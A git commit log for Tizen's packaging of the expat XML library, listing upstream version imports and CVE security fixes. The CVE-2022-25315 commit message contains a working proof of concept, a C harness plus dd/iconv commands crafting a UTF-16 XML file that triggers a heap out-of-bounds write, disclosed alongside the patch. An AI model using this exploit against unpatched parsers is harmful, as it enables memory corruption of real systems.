platform/upstream/expat.git
23 months ago[CVE-2022-25314] Prevent integer overflow in copyString 81/275181/1 accepted/tizen_7.0_base accepted/tizen_7.0_base_hotfix accepted/tizen_7.0_base_tool accepted/tizen_7.0_base_tool_hotfix accepted/tizen_8.0_base accepted/tizen_base_tool sandbox/backup/expat_2.4.1_20231228 tizen_7.0_base tizen_7.0_base_hotfix tizen_8.0_base accepted/tizen/7.0/base/20230714.002902 accepted/tizen/7.0/base/hotfix/20230714.003717 accepted/tizen/7.0/base/tool/20221028.113146 accepted/tizen/7.0/base/tool/hotfix/20221115.084933 accepted/tizen/8.0/base/20231005.044657 accepted/tizen/base/20230714.003309 accepted/tizen/base/tool/20220531.054653 submit/tizen_7.0_base/20221028.200901 submit/tizen_7.0_base_hotfix/20221115.161501 submit/tizen_base/20220518.020131 submit/tizen_base/20220518.222011 submit/tizen_base/20220524.054837 tizen_7.0_m2_release tizen_8.0_m2_release
Samanta Navarro [Tue, 15 Feb 2022 11:56:57 +0000 (11:56 +0000)]
[CVE-2022-25314] Prevent integer overflow in copyString

The copyString function is only used for encoding string supplied by
the library user.

Change-Id: I66e46c4199873ec11df97f30bc0da130059a5ef2

23 months ago[CVE-2022-25235] security patch 43/275143/1
Sebastian Pipping [Tue, 8 Feb 2022 16:37:14 +0000 (17:37 +0100)]
[CVE-2022-25235] security patch

lib: Drop unused macro UTF8_GET_NAMING
lib: Add missing validation of encoding (CVE-2022-25235)
lib: Add comments to BT_LEAD* cases where encoding has already been validated

Change-Id: I29e52367b68d2d7d841630a43e5d86b55d96e2e5

23 months ago[CVE-2021-45960] lib: Detect and prevent troublesome left shifts in function storeAtt... 37/275137/1
Sebastian Pipping [Mon, 27 Dec 2021 19:15:02 +0000 (20:15 +0100)]
[CVE-2021-45960] lib: Detect and prevent troublesome left shifts in function storeAtts (CVE-2021-45960)

Change-Id: Ia2074e6b6ff8a17db2548cf402817aa60c551d4c

23 months ago[CVE-2022-25315] Prevent integer overflow in storeRawNames 28/275128/1
Samanta Navarro [Tue, 15 Feb 2022 11:55:46 +0000 (11:55 +0000)]
[CVE-2022-25315] Prevent integer overflow in storeRawNames

It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.

The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.

Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.

Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.

The proof of concept works by taking these three considerations into
account:

1. Move the m_buffer size slightly below a power of two by having a
   short root node <a>. This allows the m_buffer to grow very close
   to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
   INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
   limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
   which only contains ASCII characters. UTF-16 always stores two
   bytes per character while the tag name is converted to using only
   one. Our attack node byte count must be a bit higher than
   2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
   in sum can overflow INT_MAX.

Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.

Proof of Concept:

1. Compile expat with -fsanitize=address.

2. Create Proof of Concept binary which iterates through input
   file 16 MB at once for better performance and easier integer
   calculations:

```
cat > poc.c << EOF
 #include <err.h>
 #include <expat.h>
 #include <stdlib.h>
 #include <stdio.h>

 #define CHUNK (16 * 1024 * 1024)
 int main(int argc, char *argv[]) {
   XML_Parser parser;
   FILE *fp;
   char *buf;
   int i;

   if (argc != 2)
     errx(1, "usage: poc file.xml");
   if ((parser = XML_ParserCreate(NULL)) == NULL)
     errx(1, "failed to create expat parser");
   if ((fp = fopen(argv[1], "r")) == NULL) {
     XML_ParserFree(parser);
     err(1, "failed to open file");
   }
   if ((buf = malloc(CHUNK)) == NULL) {
     fclose(fp);
     XML_ParserFree(parser);
     err(1, "failed to allocate buffer");
   }
   i = 0;
   while (fread(buf, CHUNK, 1, fp) == 1) {
     printf("iteration %d: XML_Parse returns %d\n", ++i,
       XML_Parse(parser, buf, CHUNK, XML_FALSE));
   }
   free(buf);
   fclose(fp);
   XML_ParserFree(parser);
   return 0;
 }
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```

3. Construct specially prepared UTF-16 XML file:

```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```

4. Run proof of concept:

```
./poc poc-utf16.xml
```

Change-Id: I814c068538ee37bee414f477eb2dc13cc643e27c

23 months ago[CVE-2022-25236]lib: Protect against insertion of namesep characters into namespace... 20/275120/2
Sebastian Pipping [Sat, 12 Feb 2022 00:09:29 +0000 (01:09 +0100)]
[CVE-2022-25236]lib: Protect against insertion of namesep characters into namespace URIs

lib: Protect against malicious namespace declarations
lib: Fix (harmless) use of uninitialized memory

Change-Id: I7e8163e93fad8dd0a5877a4c61de2fc5aba75e16

2 years agoBump to expat 2.4.1 05/265505/1 sandbox/dh0128.kwak/expat-2.4.1-20211021 accepted/tizen/base/tool/20211115.013143 submit/tizen_base/20211111.044135
DongHun Kwak [Thu, 21 Oct 2021 05:12:48 +0000 (14:12 +0900)]
Bump to expat 2.4.1

Change-Id: I1779dfffd757aa6275317f17ac920446cae9cae0

2 years agoImported Upstream version 2.4.1 upstream/2.4.1
DongHun Kwak [Thu, 21 Oct 2021 01:36:20 +0000 (10:36 +0900)]
Imported Upstream version 2.4.1

2 years agoImported Upstream version 2.4.0 upstream/2.4.0
DongHun Kwak [Thu, 21 Oct 2021 01:36:14 +0000 (10:36 +0900)]
Imported Upstream version 2.4.0

2 years agoImported Upstream version 2.3.0 upstream/2.3.0
DongHun Kwak [Thu, 21 Oct 2021 01:36:07 +0000 (10:36 +0900)]
Imported Upstream version 2.3.0

2 years agoImported Upstream version 2.2.10 upstream/2.2.10
DongHun Kwak [Thu, 21 Oct 2021 01:35:51 +0000 (10:35 +0900)]
Imported Upstream version 2.2.10

4 years agoImported Upstream version 2.2.9 upstream/2.2.9
Hyunjee Kim [Wed, 4 Dec 2019 01:14:20 +0000 (10:14 +0900)]
Imported Upstream version 2.2.9

Change-Id: I4b545ba08f659e8498c67ad8fcbe99e7de52ef98
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoImported Upstream version 2.2.8
Hyunjee Kim [Wed, 4 Dec 2019 01:13:52 +0000 (10:13 +0900)]
Imported Upstream version 2.2.8

Change-Id: I85418cfc26789e98d42e484fbab9f79e855f1740
Signed-off-by: Hyunjee Kim <hj0426.kim@samsung.com>
4 years agoImported Upstream version 2.2.7 upstream/2.2.7
DongHun Kwak [Thu, 27 Jun 2019 00:28:19 +0000 (09:28 +0900)]
Imported Upstream version 2.2.7

Change-Id: I4b1c0ed69acf4695f01bf2a07588920bab2487c3
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
5 years agoImported Upstream version 2.2.6 53/193753/1 upstream/2.2.6
DongHun Kwak [Mon, 26 Nov 2018 05:29:31 +0000 (14:29 +0900)]
Imported Upstream version 2.2.6

Change-Id: I8bf03fb30c4edf6f5abad98c4bc0f2c1edd3ab1f
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.5 82/169882/1 upstream/2.2.5
DongHun Kwak [Mon, 12 Feb 2018 04:56:26 +0000 (13:56 +0900)]
Imported Upstream version 2.2.5

Change-Id: I43c77a5fe9b587a0729a17b57c984df2b8469afd
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.4 20/149820/1 upstream/2.2.4
DongHun Kwak [Wed, 13 Sep 2017 07:06:47 +0000 (16:06 +0900)]
Imported Upstream version 2.2.4

Change-Id: I7586c345c8d87644334e2099468648209135cc6c
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.3 19/149819/1 upstream/2.2.3
DongHun Kwak [Wed, 13 Sep 2017 07:06:38 +0000 (16:06 +0900)]
Imported Upstream version 2.2.3

Change-Id: I17040257185cebbd053acd143bd2ed00fa6b27a9
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.2 18/149818/1
DongHun Kwak [Wed, 13 Sep 2017 07:06:29 +0000 (16:06 +0900)]
Imported Upstream version 2.2.2

Change-Id: I181f0e23575cc2659bdffb87465300f20137c16a
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
6 years agoImported Upstream version 2.2.1 17/149817/1
DongHun Kwak [Wed, 13 Sep 2017 07:06:19 +0000 (16:06 +0900)]
Imported Upstream version 2.2.1

Change-Id: Ia08917e04f3cce89cd7bca19ae7d7e03106ba6c9
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
7 years agoImported Upstream version 2.2.0 85/88885/1 upstream/2.2.0
DongHun Kwak [Wed, 21 Sep 2016 05:09:50 +0000 (14:09 +0900)]
Imported Upstream version 2.2.0

Change-Id: Iee9db75e5afcc2251aa89282ca056dc7f358e4dd
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
7 years agoImported Upstream version 2.1.1 45/75445/1 upstream/2.1.1
DongHun Kwak [Mon, 20 Jun 2016 00:32:16 +0000 (09:32 +0900)]
Imported Upstream version 2.1.1

Change-Id: Icfd7f759d085584ada07fb7182dae2643ef97795
Signed-off-by: DongHun Kwak <dh0128.kwak@samsung.com>
11 years agoImported Upstream version 2.1.0 upstream/2.1.0
Anas Nashif [Sun, 4 Nov 2012 23:54:57 +0000 (15:54 -0800)]
Imported Upstream version 2.1.0